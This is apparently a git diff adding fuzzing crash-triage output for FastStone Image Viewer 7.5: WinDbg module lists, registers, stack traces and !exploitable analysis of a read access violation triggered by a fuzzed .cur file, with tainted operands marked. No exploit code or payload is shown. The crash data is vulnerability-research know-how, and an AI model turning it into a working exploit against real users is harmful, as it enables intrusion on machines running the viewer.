00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(898.1014): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07f97b10 edx=00003879 esi=ffd70010 edi=0fccefd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.774824048985130080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.592541100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.14332e-007 -6.4687e+007 -5.20067e+020 -1.74223e-023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08078130 07ff5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00311000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00311000 84563982 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00311000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f3a356b Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..91d21a1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..4c26619 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1784: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1784: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1784.44): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0fffed2d ecx=07ec7b10 edx=00003879 esi=cfe30010 edi=0fcd6fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.898908400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.22927e-023 0.0025156 1.58913e+019 2.84958e-014 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002ca000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002ca000 936b8a8b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002ca000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..4c26619 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1784: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1784: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll 